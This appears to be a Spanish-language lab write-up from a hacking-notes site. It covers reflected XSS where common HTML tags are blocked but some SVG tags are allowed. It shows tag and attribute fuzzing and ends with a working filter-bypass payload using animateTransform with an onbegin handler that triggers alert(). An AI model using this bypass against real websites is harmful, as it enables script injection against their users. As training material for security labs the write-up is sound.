> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS reflejado con etiquetas SVG permitidas

### XSS reflejado con algunas etiquetas SVG permitidas

Vulnerabilidad XSS. Piense en simple. La aplicación bloquea las etiquetas HTML comunes, pero permite pasar algunas etiquetas SVG y ciertos atributos/eventos. Objetivo: provocar `alert()` mediante una etiqueta SVG.

<figure><img src="/files/1c825cf05fb552aa43d2d9a42b41e32cca1c6f3e" alt=""><figcaption></figcaption></figure>

* Las etiquetas HTML convencionales están bloqueadas.
* Se realiza un recuento aproximado de las etiquetas autorizadas.

<figure><img src="/files/a5aa8bbf96ee0c97c2d04e6269feb65dd1c49b6f" alt=""><figcaption></figcaption></figure>

* Respuesta del servidor / pruebas que muestran las etiquetas encontradas: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Pruebas de inserción sucesivas:
* `<svg><animateTransform a=1>` — inserción básica.
* intento de codificación / variación del espacio: `<svg><animateTransform%20a=1>` — para eludir el filtrado.
* El `onbegin` evento disponible se puede encontrar en `animateTransform`.

<figure><img src="/files/7c315ab45cf9aaf97f1930356aa323d6df8f788a" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/6eb7cc45560c08d3f2e67ab5b5363413e4445808" alt=""><figcaption></figcaption></figure>


---

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